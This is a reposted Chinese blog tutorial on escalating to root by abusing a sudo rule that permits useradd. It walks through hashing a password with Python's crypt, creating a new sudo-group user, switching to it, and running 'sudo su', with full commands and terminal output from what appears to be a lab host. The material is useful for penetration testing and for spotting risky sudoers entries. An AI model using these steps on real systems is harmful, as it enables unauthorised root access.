ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

sudo useradd提权

2021-12-16 17:35:21  阅读:178  来源: 互联网

标签:test2 crypt sudo 提权 useradd test 123456


sudo配合useradd命令也是可以用来提权的。整体思路是添加一个组为sudo的用户,然后用这个新用户执行sudo su到root

首先看下useradd添加用户的几个必要条件,指定组,指定密码,useradd有这么几个参数可以使用

Usage: useradd [options] LOGIN
       useradd -D
       useradd -D [options]

Options:
  -g, --gid GROUP               name or ID of the primary group of the new account
  -m, --create-home             create the user's home directory
  -p, --password PASSWORD       encrypted password of the new account

-g指定组,-m指定home目录,登录需要一个默认的home目录。-p指定密码,这里的密码需要encrypted加密过。

步骤一:生成用户密码的密文,这里用python的crypt库来实现,这里123456是密码,hh随便指定,相当于盐

test@test:/etc/ppp$ python                                                                                                                                                                                                                                                                                                                                                                               
Python 2.7.16 (default, Oct 10 2019, 22:02:15)                                                                                                                                                            
[GCC 8.3.0] on linux2                                                                                                                                                                                     
Type "help", "copyright", "credits" or "license" for more information.                                                                                                                                    
>>> import crypt                                                                                                                                                                                          
import crypt                                                                                                                                                                                              
>>> crypt.crypt("123456","hh")                                                                                                                                                                            
crypt.crypt("123456","hh")                                                                                                                                                                                
'hhYwUmQRSuCZ.'                                                                                                                                                                                           
>>> exit                                                                                                                                                                                                  
exit                                                                                                                                                                                                      
Use exit() or Ctrl-D (i.e. EOF) to exit                                                                                                                                                                   
>>> exit()                                                                                                                                                                                                
exit()                                                                                                                                                                                                    
test@test:/etc/ppp$

步骤二:利用上面生成的密码密文配合sudo  useradd加一个拥有sudo组的用户,此时就添加了一个test2的用户,密码是123456

test@test:/etc/ppp$ sudo /usr/sbin/useradd -m -g sudo -p hhYwUmQRSuCZ. test2

步骤三:跳到test2用户

test@test:/etc/ppp$ su test2                                                                                                                                                                                
su test2                                                                                                                                                                                                  
Password: 123456                                                                                                                                                                                          
                                                                                                                                                                                                          
$ id                                                                                                                                                                                                      
id                                                                                                                                                                                                        
uid=1003(test2) gid=27(sudo) groups=27(sudo)

步骤四:跳到root用户

$ sudo su                                                                                                                                                                                                 
sudo su                                                                                                                                                                                                   
                                                                                                                                                                                                          
We trust you have received the usual lecture from the local System                                                                                                                                        
Administrator. It usually boils down to these three things:                                                                                                                                               
                                                                                                                                                                                                          
    #1) Respect the privacy of others.                                                                                                                                                                    
    #2) Think before you type.                                                                                                                                                                            
    #3) With great power comes great responsibility.                                                                                                                                                      
                                                                                                                                                                                                          
[sudo] password for test2: 123456
root@test:/etc/ppp#

提权到root

 

标签:test2,crypt,sudo,提权,useradd,test,123456
来源: https://www.cnblogs.com/zlgxzswjy/p/15699202.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有